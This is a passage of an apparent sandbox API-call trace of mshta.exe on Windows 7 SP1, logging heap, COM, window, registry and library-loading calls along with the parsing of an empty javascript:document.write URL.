lpParameter=0x556850, dwCreationFlags=0x0, lpThreadId=0x556864 | out: lpThreadId=0x556864*=0x8b0) returned 0x15c [0041.665] GetCurrentThreadId () returned 0x86c [0041.666] IUnknown:Release (This=0x53c694) returned 0x16 [0041.666] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.666] IUnknown:Release (This=0x53ad08) returned 0x3 [0041.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.666] IUnknown:Release (This=0x53c694) returned 0x15 [0041.666] IUnknown:Release (This=0x53c694) returned 0x14 [0041.666] IUnknown:Release (This=0x53c694) returned 0x13 [0041.666] IUnknown:Release (This=0x53ad08) returned 0x2 [0041.666] IUnknown:Release (This=0x53c694) returned 0x12 [0041.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.666] CoTaskMemFree (pv=0x550ba8) [0041.666] CoTaskMemFree (pv=0x0) [0041.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.666] IUnknown:Release (This=0x53c694) returned 0x11 [0041.666] CoTaskMemFree (pv=0x550a90) [0041.666] GetClientRect (in: hWnd=0x7001a, lpRect=0x30fa0c | out: lpRect=0x30fa0c) returned 1 [0041.666] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x78) returned 0x521b28 [0041.666] GetClientRect (in: hWnd=0x7001a, lpRect=0x521b54 | out: lpRect=0x521b54) returned 1 [0041.666] OffsetRect (in: lprc=0x521b54, dx=0, dy=0 | out: lprc=0x521b54) returned 1 [0041.666] OffsetRect (in: lprc=0x521b64, dx=0, dy=0 | out: lprc=0x521b64) returned 1 [0041.667] RegisterClassExW (param_1=0x30f528) returned 0xc096 [0041.667] CoCreateInstance (in: rclsid=0x72d6bf70*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x72d6bf60*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7315b020 | out: ppv=0x7315b020*=0x559668) returned 0x0 [0041.670] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x559668, aaClassList=0x30f620*=0xc096, uSize=0x1) returned 0x0 [0041.670] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc096, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=587, hWndParent=0x7001a, hMenu=0x0, hInstance=0x72c20000, lpParam=0x53eda8) returned 0x90132 [0041.671] GetWindowLongW (hWnd=0x90132, nIndex=-20) returned 0 [0041.671] SetWindowLongW (hWnd=0x90132, nIndex=-21, dwNewLong=5500328) returned 0 [0041.671] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x81, wParam=0x0, lParam=0x30f1f4*=5500328, plResult=0x30f06c | out: plResult=0x30f06c) returned 0x1 [0041.671] NtdllDefWindowProc_W () returned 0x1 [0041.671] GetCurrentThreadId () returned 0x86c [0041.671] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.671] GetCurrentThreadId () returned 0x86c [0041.671] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.671] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x1, wParam=0x0, lParam=0x30f1f4*=5500328, plResult=0x30f06c | out: plResult=0x30f06c) returned 0x1 [0041.671] NtdllDefWindowProc_W () returned 0x0 [0041.671] GetCurrentThreadId () returned 0x86c [0041.671] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.671] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x30f0b8 | out: plResult=0x30f0b8) returned 0x1 [0041.671] NtdllDefWindowProc_W () returned 0x0 [0041.671] GetCurrentThreadId () returned 0x86c [0041.671] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.671] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x30f0b8 | out: plResult=0x30f0b8) returned 0x1 [0041.671] NtdllDefWindowProc_W () returned 0x0 [0041.671] GetCurrentThreadId () returned 0x86c [0041.671] NtdllDefWindowProc_W () returned 0x0 [0041.671] GetClassNameW (in: hWnd=0x7001a, lpClassName=0x30f628, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0041.671] StrCmpIW (psz1="HTML Application Host Window Class", psz2="HTMLPageDesignerWndClass") returned -1 [0041.672] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x559668, fRestoreLayout=1) returned 0x0 [0041.672] SendMessageW (hWnd=0x90132, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0041.672] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.672] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x30f4dc | out: plResult=0x30f4dc) returned 0x1 [0041.672] NtdllDefWindowProc_W () returned 0x3 [0041.672] GetCurrentThreadId () returned 0x86c [0041.672] IntersectRect (in: lprcDst=0x30f85c, lprcSrc1=0x521b54, lprcSrc2=0x521b64 | out: lprcDst=0x30f85c) returned 1 [0041.672] EqualRect (lprc1=0x30f85c, lprc2=0x521b54) returned 1 [0041.672] InvalidateRect (hWnd=0x90132, lpRect=0x0, bErase=1) returned 1 [0041.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xf0) returned 0x550b90 [0041.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x150) returned 0x5568b0 [0041.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x140) returned 0x556a08 [0041.672] IntersectRect (in: lprcDst=0x30f748, lprcSrc1=0x30f748, lprcSrc2=0x30f6e0 | out: lprcDst=0x30f748) returned 1 [0041.672] IntersectRect (in: lprcDst=0x30f748, lprcSrc1=0x30f748, lprcSrc2=0x30f6e0 | out: lprcDst=0x30f748) returned 1 [0041.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x556b50 [0041.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52da60 [0041.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x55a250 [0041.672] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.672] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.673] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52da98 [0041.673] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ccd8 [0041.673] GetCurrentThreadId () returned 0x86c [0041.673] GetCurrentThreadId () returned 0x86c [0041.673] GetCurrentThreadId () returned 0x86c [0041.673] IntersectRect (in: lprcDst=0x30f584, lprcSrc1=0x30f584, lprcSrc2=0x30f554 | out: lprcDst=0x30f584) returned 1 [0041.673] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f574 | out: lprcDst=0x556a68) returned 1 [0041.673] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.673] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555380 [0041.673] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555380 | out: hHeap=0x510000) returned 1 [0041.673] SetWindowPos (hWnd=0x90132, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0041.673] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.673] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x46, wParam=0x0, lParam=0x30f83c*=590130, plResult=0x30f6d8 | out: plResult=0x30f6d8) returned 0x1 [0041.673] NtdllDefWindowProc_W () returned 0x0 [0041.673] GetCurrentThreadId () returned 0x86c [0041.674] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.674] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x47, wParam=0x0, lParam=0x30f83c*=590130, plResult=0x30f6d4 | out: plResult=0x30f6d4) returned 0x1 [0041.674] NtdllDefWindowProc_W () returned 0x0 [0041.674] GetCurrentThreadId () returned 0x86c [0041.674] SetTimer (hWnd=0x90132, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0041.674] GetFocus () returned 0x0 [0041.674] EnumChildWindows (hWndParent=0x90132, lpEnumFunc=0x72f40a73, lParam=0x30f734) returned 0 [0041.674] GetFocus () returned 0x0 [0041.674] SetFocus (hWnd=0x90132) returned 0x0 [0041.676] NtdllDefWindowProc_W () returned 0x0 [0041.676] NtdllDefWindowProc_W () returned 0x0 [0041.676] NtdllDefWindowProc_W () returned 0x0 [0041.677] NtdllDefWindowProc_W () returned 0x0 [0041.677] NtdllDefWindowProc_W () returned 0x0 [0041.677] NtdllDefWindowProc_W () returned 0x0 [0041.677] NtdllDefWindowProc_W () returned 0x0 [0041.678] NtdllDefWindowProc_W () returned 0x0 [0041.678] NtdllDefWindowProc_W () returned 0x0 [0041.678] NtdllDefWindowProc_W () returned 0x0 [0041.678] NtdllDefWindowProc_W () returned 0x1 [0041.678] NtdllDefWindowProc_W () returned 0x0 [0041.679] NtdllDefWindowProc_W () returned 0x0 [0041.689] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.689] LoadLibraryA (lpLibFileName="OLEACC.DLL") returned 0x73f30000 [0041.722] GetProcAddress (hModule=0x73f30000, lpProcName="LresultFromObject") returned 0x73f32663 [0041.722] LresultFromObject () returned 0xc13f [0041.809] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x569b60 [0041.810] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x5554d0 [0041.816] GetCurrentThreadId () returned 0x86c [0041.818] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569b60 | out: hHeap=0x510000) returned 1 [0041.818] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x55f858 [0041.818] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x569b60 [0041.818] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560a30 [0041.818] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f858 | out: hHeap=0x510000) returned 1 [0041.819] IUnknown:QueryInterface (in: This=0x5453dc, riid=0x74f021d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x30efe8 | out: ppvObject=0x30efe8*=0x55f858) returned 0x0 [0041.819] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x55f858 [0041.819] IConnectionPointContainer:FindConnectionPoint (in: This=0x55f858, riid=0x74f021b8*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x30f000 | out: ppCP=0x30f000*=0x55f880) returned 0x0 [0041.819] IConnectionPoint:Advise (in: This=0x55f880, pUnkSink=0x571778, pdwCookie=0x571790 | out: pdwCookie=0x571790*=0x571778) returned 0x0 [0041.819] IUnknown:QueryInterface (in: This=0x571778, riid=0x72c2a638*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x30efa4 | out: ppvObject=0x30efa4*=0x571778) returned 0x0 [0041.820] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x569b80 [0041.820] IUnknown:AddRef (This=0x571778) returned 0x3 [0041.820] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560a78 [0041.820] IUnknown:Release (This=0x571778) returned 0x2 [0041.820] IUnknown:Release (This=0x55f880) returned 0x0 [0041.820] IUnknown:Release (This=0x55f858) returned 0x0 [0041.820] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f858 | out: hHeap=0x510000) returned 1 [0041.820] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555560 [0041.820] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x55da58 [0041.820] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.821] GetMessageTime () returned 0 [0041.821] GetMessagePos () returned 0x0 [0041.821] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30f0fc | out: plResult=0x30f0fc) returned 0x0 [0041.822] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.823] GetMessageTime () returned 0 [0041.823] GetMessagePos () returned 0x0 [0041.823] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x30eb2c | out: plResult=0x30eb2c) returned 0x0 [0041.823] GetCurrentThreadId () returned 0x86c [0041.823] GetCurrentThreadId () returned 0x86c [0041.823] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.823] GetMessageTime () returned 0 [0041.823] GetMessagePos () returned 0x0 [0041.823] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f2b0 | out: lpPoint=0x30f2b0) returned 1 [0041.823] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f2b0 | out: lpPoint=0x30f2b0) returned 1 [0041.824] GetCapture () returned 0x0 [0041.824] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c070 [0041.824] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555590 [0041.824] IUnknown:AddRef (This=0x571778) returned 0x5 [0041.824] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x565988 [0041.824] HTMLWindowEvents2:onresize (This=0x571778, pEvtObj=0x418) [0041.824] IUnknown:Release (This=0x571778) returned 0x4 [0041.824] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x565988 | out: hHeap=0x510000) returned 1 [0041.824] GetCurrentThreadId () returned 0x86c [0041.824] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c070 | out: hHeap=0x510000) returned 1 [0041.824] GetCurrentThreadId () returned 0x86c [0041.824] GetCurrentThreadId () returned 0x86c [0041.824] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x30f4ec | out: plResult=0x30f4ec) returned 0x1 [0041.825] NtdllDefWindowProc_W () returned 0x0 [0041.825] GetCurrentThreadId () returned 0x86c [0041.825] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x559668, hWnd=0x90132, phIMC=0x30f814 | out: phIMC=0x30f814*=0x170173) returned 0x0 [0041.825] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x559668, hWnd=0x90132, hIME=0x0, phPrev=0x30f814 | out: phPrev=0x30f814*=0x170173) returned 0x0 [0041.825] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x55f858 [0041.825] IConnectionPointContainer:FindConnectionPoint (in: This=0x55f858, riid=0x74f021c8*(Data1=0x3050f613, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x30f684 | out: ppCP=0x30f684*=0x55f878) returned 0x0 [0041.825] IConnectionPoint:Unadvise (This=0x55f878, dwCookie=0x571778) returned 0x0 [0041.825] IUnknown:AddRef (This=0x571778) returned 0x5 [0041.825] IUnknown:Release (This=0x571778) returned 0x4 [0041.825] IUnknown:Release (This=0x571778) returned 0x3 [0041.825] IUnknown:Release (This=0x55f878) returned 0x0 [0041.825] IUnknown:Release (This=0x55f858) returned 0x0 [0041.825] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f858 | out: hHeap=0x510000) returned 1 [0041.825] IUnknown:QueryInterface (in: This=0x5453dc, riid=0x74f021d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x30f67c | out: ppvObject=0x30f67c*=0x55f858) returned 0x0 [0041.825] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x55f858 [0041.825] IConnectionPointContainer:FindConnectionPoint (in: This=0x55f858, riid=0x74f021b8*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x30f680 | out: ppCP=0x30f680*=0x55f880) returned 0x0 [0041.825] IConnectionPoint:Unadvise (This=0x55f880, dwCookie=0x571778) returned 0x0 [0041.825] IUnknown:AddRef (This=0x571778) returned 0x4 [0041.825] IUnknown:Release (This=0x571778) returned 0x3 [0041.825] IUnknown:Release (This=0x571778) returned 0x2 [0041.825] IUnknown:Release (This=0x55f880) returned 0x0 [0041.825] IUnknown:Release (This=0x55f858) returned 0x0 [0041.825] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f858 | out: hHeap=0x510000) returned 1 [0041.826] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555590 | out: hHeap=0x510000) returned 1 [0041.839] IUnknown:Release (This=0x5453dc) returned 0x3 [0041.839] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555560 | out: hHeap=0x510000) returned 1 [0041.839] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.839] GetMessageTime () returned 0 [0041.839] GetMessagePos () returned 0x0 [0041.839] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f4fc | out: plResult=0x30f4fc) returned 0x0 [0041.839] GetCurrentThreadId () returned 0x86c [0041.839] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0041.839] GetMessageTime () returned 0 [0041.839] GetMessagePos () returned 0x0 [0041.840] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30f4fc | out: plResult=0x30f4fc) returned 0x0 [0041.840] GetCurrentThreadId () returned 0x86c [0041.840] IsOS (dwOS=0x25) returned 1 [0041.840] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f708 | out: phkResult=0x30f708*=0x20c) returned 0x0 [0041.840] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f70c | out: phkResult=0x30f70c*=0x210) returned 0x0 [0041.840] RegOpenKeyExW (in: hKey=0x210, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x30f6c8 | out: phkResult=0x30f6c8*=0x0) returned 0x2 [0041.840] RegOpenKeyExW (in: hKey=0x20c, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x30f6c8 | out: phkResult=0x30f6c8*=0x214) returned 0x0 [0041.840] SHRegGetValueW () returned 0x0 [0041.840] RegCloseKey (hKey=0x214) returned 0x0 [0041.840] RegCloseKey (hKey=0x0) returned 0x6 [0041.840] RegCloseKey (hKey=0x0) returned 0x6 [0041.840] RegCloseKey (hKey=0x20c) returned 0x0 [0041.840] RegCloseKey (hKey=0x210) returned 0x0 [0041.840] LoadLibraryW (lpLibFileName="ieframe.dll") returned 0x721a0000 [0041.853] GetVersionExW (in: lpVersionInformation=0x30f214*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f214*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.853] LoadLibraryExW (lpLibFileName="ieframe.dll", hFile=0x0, dwFlags=0x22) returned 0x721a0000 [0041.853] LoadStringW (in: hInstance=0x721a0000, uID=0xb5, lpBuffer=0x30f790, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0041.854] LoadStringW (in: hInstance=0x721a0000, uID=0xb5, lpBuffer=0x30f7f0, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0041.854] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555560 [0041.855] LoadStringW (in: hInstance=0x721a0000, uID=0xb5, lpBuffer=0x30f7dc, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0041.855] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x52d8d8, Size=0x48) returned 0x55daa8 [0041.855] ShowWindow (hWnd=0x90132, nCmdShow=1) returned 1 [0041.855] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b770 | out: hHeap=0x510000) returned 1 [0041.855] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0041.855] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0041.855] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0041.855] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x53b770 [0041.855] RegisterDragDrop (hwnd=0x90132, pDropTarget=0x731596cc) returned 0x0 [0041.856] GetCurrentThreadId () returned 0x86c [0041.856] GetCurrentThreadId () returned 0x86c [0041.856] GetCurrentThreadId () returned 0x86c [0041.856] GetCurrentThreadId () returned 0x86c [0041.856] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0041.856] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0041.856] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0041.856] IInternetProtocolRoot:Continue (This=0x556614, pProtocolData=0x52d9b8) returned 0x80004004 [0041.856] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x572eb0 [0041.856] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30f848 | out: ppu=0x30f848) returned 0x0 [0041.856] IUnknown:QueryInterface (in: This=0x555160, riid=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x30f73c | out: ppvObject=0x30f73c*=0x0) returned 0x80004002 [0041.856] IServiceProvider:QueryService (in: This=0x555164, guidService=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x30f73c | out: ppvObject=0x30f73c*=0x54528c) returned 0x0 [0041.856] GetCurrentThreadId () returned 0x86c [0041.857] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f7f0 | out: phkResult=0x30f7f0*=0x244) returned 0x0 [0041.857] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f7f4 | out: phkResult=0x30f7f4*=0x248) returned 0x0 [0041.857] RegOpenKeyExW (in: hKey=0x248, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x30f7b0 | out: phkResult=0x30f7b0*=0x0) returned 0x2 [0041.857] RegOpenKeyExW (in: hKey=0x244, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x30f7b0 | out: phkResult=0x30f7b0*=0x0) returned 0x2 [0041.857] RegCloseKey (hKey=0x0) returned 0x6 [0041.857] RegCloseKey (hKey=0x0) returned 0x6 [0041.857] RegCloseKey (hKey=0x244) returned 0x0 [0041.857] RegCloseKey (hKey=0x248) returned 0x0 [0041.858] StrToIntW (lpSrc="5505392") returned 5505392 [0041.858] CoTaskMemFree (pv=0x52d8d8) [0041.858] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.858] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30f7e4, dwFlags=0x0 | out: pdwZone=0x30f7e4*=0xffffffff) returned 0x800c0011 [0041.858] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.858] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.858] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.858] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x1400, pPolicy=0x30f7e8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x30f7e8*=0x0) returned 0x0 [0041.858] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.858] CoCreateInstance (in: rclsid=0x30f79c*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x72d795b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x30f758 | out: ppv=0x30f758*=0x2940488) returned 0x0 [0041.865] malloc (_Size=0x80) returned 0x3d880 [0041.865] GetVersion () returned 0x1db10106 [0041.865] __dllonexit () returned 0x73c07ecf [0041.865] __dllonexit () returned 0x73c07e9b [0041.865] __dllonexit () returned 0x73c07eb5 [0041.865] __dllonexit () returned 0x73c07f70 [0041.865] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0041.865] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterTraceGuidsA") returned 0x7738848f [0041.866] EtwRegisterTraceGuidsA () returned 0x0 [0041.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterTraceGuidsA") returned 0x7738848f [0041.866] EtwRegisterTraceGuidsA () returned 0x0 [0041.866] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x30e114, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0041.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExA") returned 0x754c4907 